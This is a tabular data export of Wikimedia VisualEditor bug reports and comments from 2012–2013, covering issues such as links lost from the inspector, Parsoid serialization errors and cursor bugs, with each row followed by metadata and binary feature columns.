+220997,Jenkins merged a faulty change,Related URL: https://gerrit.wikimedia.org/r/58283 (Gerrit Change I4b3fadccaae9c35964a0c47d63b22c4f35148a24),,,1365495617,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,False,,,-12,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+48025,VisualEditor: Leaving a link while the inspector is open can remove the link,"0. Open a document with links already in it.
+1. Click on a MediaWiki link, then click the icon to open the inspector.
+2. Click anywhere else in the document to lose focus.
+3. You're link has now been removed :(
+
+Note that this doesn't happen if you have just created a link, or if you have edited a link, so I assume this is functionality for letting people abandon the creation of a link.
+
+The only way to remove a link should be with the delete icon in the inspector, or clear formatting.
+
+This doesn't appear to affect external links.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1363095900,1363139966.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-rl3v4wnjsqhxlyzhy4r4,task_description,resolved,True,c1,1,True,False,True,-16,,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+228471,VisualEditor: Leaving a link while the inspector is open can remove the link,*** Bug 46505 has been marked as a duplicate of this bug. ***,,,1364164432,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rl3v4wnjsqhxlyzhy4r4,task_subcomment,,True,c1,1,True,,,-15,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+228467,VisualEditor: Leaving a link while the inspector is open can remove the link,Code now merged.,,,1363139966,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rl3v4wnjsqhxlyzhy4r4,task_subcomment,,True,c1,1,True,,,-16,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+228462,VisualEditor: Leaving a link while the inspector is open can remove the link,https://gerrit.wikimedia.org/r/53488,,,1363132183,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-rl3v4wnjsqhxlyzhy4r4,task_subcomment,,True,c1,1,False,,,-16,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+47062,VisualEditor: Node API re-write,"The re-write of the node API that dm provide up to the rest of VE is necessary for most of the added support that VE is aiming to provide this year.
+
+[Mostly done now.]
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",Unbreak Now!,100.0,1360975080,1361576303.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-oua6msncukecknrhwrdf,task_description,resolved,True,c1,1,True,False,True,-20,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,1
+222259,VisualEditor: Node API re-write,… which is now merged. Hurrah.,,,1361576303,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-oua6msncukecknrhwrdf,task_subcomment,,True,c1,1,True,,,-19,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+222251,VisualEditor: Node API re-write,Done in gerrit 50025 and related changes.,,,1361380955,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-oua6msncukecknrhwrdf,task_subcomment,,True,c1,1,True,,,-19,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+46926,VisualEditor: Selecting last n lines and deleting - last line not deleted (Parsoid selser issue?),"**Author:** `phil`
+
+**Description:**
+visual editor after deleting lines 3 and 4 - note that 4 is still visible and the gap inbetween 2 and 4 is marked as 'cannot be edited'
+
+I had text
+1
+2
+3
+4
+
+selecting the last 2 lines ( 3 and 4 ) and deleting and saving, on looking at the page again '4' is visible and there is a gap that is marked as 'cannot be edited'
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F10499}",Unbreak Now!,100.0,1360728000,1366396346.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-z34hczzuvb2kxj4wvl4l,task_description,resolved,True,c1,1,False,False,True,-20,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+391832,VisualEditor: Selecting last n lines and deleting - last line not deleted (Parsoid selser issue?),"Looks like this is similar to bug 44701. The linear model is correct, but is incorrectly serialized or parsed.",,,1419136405,,PHID-USER-4yggyv53vecfrsed5djx,False,,,PHID-TASK-z34hczzuvb2kxj4wvl4l,task_subcomment,,True,c1,3,False,,,76,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+213998,VisualEditor: Selecting last n lines and deleting - last line not deleted (Parsoid selser issue?),This is now fixed given the Parsoid update. Sorry for the delay.,,,1366396346,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z34hczzuvb2kxj4wvl4l,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+213991,VisualEditor: Selecting last n lines and deleting - last line not deleted (Parsoid selser issue?),"**orbit** wrote:
+
+Looks like this is similar to bug 44701. The linear model is correct, but is incorrectly serialized or parsed.",,,1361488266,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-z34hczzuvb2kxj4wvl4l,task_subcomment,,True,c1,1,False,,,-19,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+213985,VisualEditor: Selecting last n lines and deleting - last line not deleted (Parsoid selser issue?),"**phil** wrote:
+
+Safari on Mac
+
+used the trackpad on my Mac to select the text
+
+Look at page
+http://en.wikipedia.org/wiki/User:PhilK10/sandbox/lines",,,1361484161,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-z34hczzuvb2kxj4wvl4l,task_subcomment,,True,c1,1,False,,,-19,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+213981,VisualEditor: Selecting last n lines and deleting - last line not deleted (Parsoid selser issue?),"**orbit** wrote:
+
+What browser did this happen with? How did you make the selection (mouse vs. keyboard)? Can you link to the revision?",,,1361483818,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-z34hczzuvb2kxj4wvl4l,task_subcomment,,True,c1,1,False,,,-19,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+46687,VisualEditor: Parsoid selective serialisation issue when single LI made from P (?),"**Author:** `phil`
+
+**Description:**
+error message on save after changing bullet format
+
+Blank page
+Add some text e.g. 'test' and make it a numbered bullet
+Save the page
+Edit the page
+Remove the text 'test'
+Click on the '1' and click the numbered bullet control to remove it
+Save page
+""Error loading data from server: Unsuccessful request: Error contacting the Parsoid server.""
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F10836}",Unbreak Now!,100.0,1360092960,1366396184.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ukt7mx53j5m7gaxam7vy,task_description,resolved,True,c1,1,False,False,True,-21,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+225503,VisualEditor: Parsoid selective serialisation issue when single LI made from P (?),This is now fixed given the Parsoid update. Sorry for the delay.,,,1366396184,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ukt7mx53j5m7gaxam7vy,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+225496,VisualEditor: Parsoid selective serialisation issue when single LI made from P (?),"Can reproduce (not as a Parsoid error, which is just a ""this is not working"", but as a null diff.)
+
+This is a Parsoid bug; holding back for new Parsoid release to live to re-check before assigning.",,,1360209793,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ukt7mx53j5m7gaxam7vy,task_subcomment,,True,c1,1,True,,,-21,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0
+44655,VisualEditor: Backspace creating a slug then deletes again,"Pressing backspace creating a slug then deletes again:
+
+* Create a new page (or go to an existing one), and enter ""AB\nCD\nEF""
+* Place the cursor down-page of ""F"" and press backspace; ""F"" is deleted correctly.
+* Then press backspace again; ""E"" is deleted, as is the remaining slug, and the cursor moves us.
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",Unbreak Now!,100.0,1354563540,1354754116.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-jye77ivrdahrtvdtxmyb,task_description,resolved,True,c1,0,True,False,True,-30,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,0
+206234,VisualEditor: Backspace creating a slug then deletes again,Fixed here: https://gerrit.wikimedia.org/r/#/c/37162/,,,1354754116,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-jye77ivrdahrtvdtxmyb,task_subcomment,,True,c1,0,False,,,-30,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+44654,"VisualEditor: Implement ""Show changes"" (wikitext diff) in Save dialog","
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Unbreak Now!,100.0,1354562580,1355176624.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-v466mnsvk3gmqhazwrti,task_description,resolved,True,c1,0,True,False,True,-30,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+206190,"VisualEditor: Implement ""Show changes"" (wikitext diff) in Save dialog",Merged into master.,,,1355176624,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-v466mnsvk3gmqhazwrti,task_subcomment,,True,c1,0,True,,,-29,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+206181,"VisualEditor: Implement ""Show changes"" (wikitext diff) in Save dialog",Change-Id: I9d05ef6e3e2461bdcf363232f7b0fbad5e24f506,,,1354930076,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-v466mnsvk3gmqhazwrti,task_subcomment,,True,c1,0,True,,,-30,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+206175,"VisualEditor: Implement ""Show changes"" (wikitext diff) in Save dialog",Now in gerrit as gerrit 37601.,,,1354929606,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-v466mnsvk3gmqhazwrti,task_subcomment,,True,c1,0,True,,,-30,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+206169,"VisualEditor: Implement ""Show changes"" (wikitext diff) in Save dialog","Ic34fae7a8dbfc2a91ab36ba77613e17a91f29f6f is going to resolve this, when it's done.",,,1354921857,,PHID-USER-mpfqwllylfkzpcgkdkvc,True,,,PHID-TASK-v466mnsvk3gmqhazwrti,task_subcomment,,True,c1,0,False,,,-30,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+206164,"VisualEditor: Implement ""Show changes"" (wikitext diff) in Save dialog","The VisualEditor should have a ""show changes"" button in the save dialog, taking the user to a wikitext diff in a hover over the editor surface; backend is now written but the front-end is still needed.",,,1354562716,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-v466mnsvk3gmqhazwrti,task_subcomment,,True,c1,0,True,,,-30,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0
+44555,VisualEditor: Paragraph changed to be a heading using the drop-down has its content deleted,"A paragraph when changed to be a heading using the toolbar drop-down has its content deleted (but the presence still stays).
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",Unbreak Now!,100.0,1354218900,1354225226.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-wh5lwbsbwcapw3b5fkjp,task_description,resolved,True,c1,0,True,False,True,-31,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+199918,VisualEditor: Paragraph changed to be a heading using the drop-down has its content deleted,"This was resolved in I994b8c43123c3cd02b9a550d5d7eac7d5052418e
+
+This bug was introduced in I4600e984b287c6ff9267f4281d2f09bab9e1ad95 because ve.ce.ContentBranchNode's onUpdate method was being overwritten by ve.ce.HeadingNode.",,,1354225226,,PHID-USER-mpfqwllylfkzpcgkdkvc,True,,,PHID-TASK-wh5lwbsbwcapw3b5fkjp,task_subcomment,,True,c1,0,False,,,-31,,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+44401,VisualEditor: Backwards selection fails over inline alien nodes,"Start with an article with an inline alien - e.g. ""ABC<tt>:-)</tt>DEF"". Place cursor ""up page"" (in LTR, left) of inline alien; selection with keyboard down-page works as expected. Now place the cursor ""down page"" (in LTR, right) of the inline alien; selection with keyboard up-page fails when reaching the alien, clearing the selection and placing the cursor immediately up-page of the alien.
+
+Note that in RTL this appears to work fine(!).
+
+Confirmed in both Chrome and Firefox.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1353718440,1354066309.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-6tkrmk42gm6l4ttp56da,task_description,resolved,True,c1,0,True,False,True,-32,,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1
+190350,VisualEditor: Backwards selection fails over inline alien nodes,"This was resolved in Iba55cfc3d531e7d1333b78c94912ff22179aace8
+
+The issue was that the cursor ""fix-up"" code was not preserving non-zero-length selections.",,,1354066309,,PHID-USER-mpfqwllylfkzpcgkdkvc,True,,,PHID-TASK-6tkrmk42gm6l4ttp56da,task_subcomment,,True,c1,0,False,,,-31,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0
+44400,VisualEditor: Pass reference to data element to DM node constructor,"Post-December cleanup:
+
+Rather than passing the type, length, attributes and (soon) annotations into the dm.Node constructors separately, we should just pass a reference to the data element. This will make a lot of things cleaner, and make the constructors more consistent between node types.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1353704640,1354056487.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-7hihps7ry67el6iq5omz,task_description,resolved,True,c1,0,False,False,True,-32,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+190331,VisualEditor: Pass reference to data element to DM node constructor,https://gerrit.wikimedia.org/r/#/c/34956/,,,1354054120,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-7hihps7ry67el6iq5omz,task_subcomment,,True,c1,0,False,,,-31,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+44282,VisualEditor: Link inspector should edit existing annotation rather than creating new one,"When editing an existing link, the link inspector should grab the existing annotation and edit it, rather than starting over with a brand new annotation.
+
+Destroying the existing annotation loses metadata we need for preserving syntactical variation (hrefPrefix and origTitle), which means that currently, simply inspecting a link without actually changing its target can cause that link to be changed in the wikitext.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1353380340,1353971898.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-vfbpfzavk4xiw4bzbauh,task_description,declined,True,c1,0,False,False,True,-32,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+183720,VisualEditor: Link inspector should edit existing annotation rather than creating new one,"Roan and I agree that as long as the annotation isn't re-applied (and meta data stripped) unless we actually changed the target, this behavior is OK.
+
+The concept is, if you touch something with the editor we have the right to normalize that bit.",,,1353971898,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-vfbpfzavk4xiw4bzbauh,task_subcomment,,True,c1,0,False,,,-31,,0,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+183715,VisualEditor: Link inspector should edit existing annotation rather than creating new one,"What happens when the annotation type changes from internal to external? We have to create a new object at some point.
+
+What about when someone removes an annotation, then adds it back in? Do we then have a diff?
+
+I'm suspicious about this being the only way we cleanly round-trip.",,,1353957557,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-vfbpfzavk4xiw4bzbauh,task_subcomment,,True,c1,0,False,,,-31,,1,1,0,0,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,0,0,0,0
+44277,VisualEditor: First character in empty document behaves strangely in Firefox,"Steps to reproduce:
+1. Go to a nonexistent page
+2. Click the Create tab
+3. Type ""foobar""
+
+Result: ""f"" appears on a line by itself, ""oobar"" appears on the next line. The document model only contains ""oobar"". The ""f"" jumps around when rerendering (e.g. when you press enter).
+
+Can NOT be reproduced if:
+* you use Chrome
+* you click out of the editor and back into it before typing
+* you press Ctrl+A, Backspace before typing text
+
+The editor document looks like this:
+
+<div contentEditable=""true""><p><span class=""slug""></span></p></div>
+
+I think the cause of this bug is that Firefox initially puts the cursor before the <p>, rather than inside the <p> or inside the <span>.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1353377280,1354052317.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-euqyxfrrhmfrgg76hheq,task_description,resolved,True,c1,0,False,False,True,-32,,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+183408,VisualEditor: First character in empty document behaves strangely in Firefox,https://gerrit.wikimedia.org/r/#/c/34681/,,,1353545923,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-euqyxfrrhmfrgg76hheq,task_subcomment,,True,c1,0,False,,,-32,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+44221,VisualEditor: Add tab layout that adds a ve-tab instead of replacing the default,"Taken from bug 42117 which I'm de-prioritising
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",Unbreak Now!,100.0,1353122700,1354131976.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ffv55y77ier7bslrsyco,task_description,resolved,True,c1,0,True,False,True,-33,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+205917,VisualEditor: Add tab layout that adds a ve-tab instead of replacing the default,Change-Id: I3fe29c52b743837c2e1d66f25ccdca6115b8bd25,,,1354126331,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-ffv55y77ier7bslrsyco,task_subcomment,,True,c1,0,True,,,-31,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
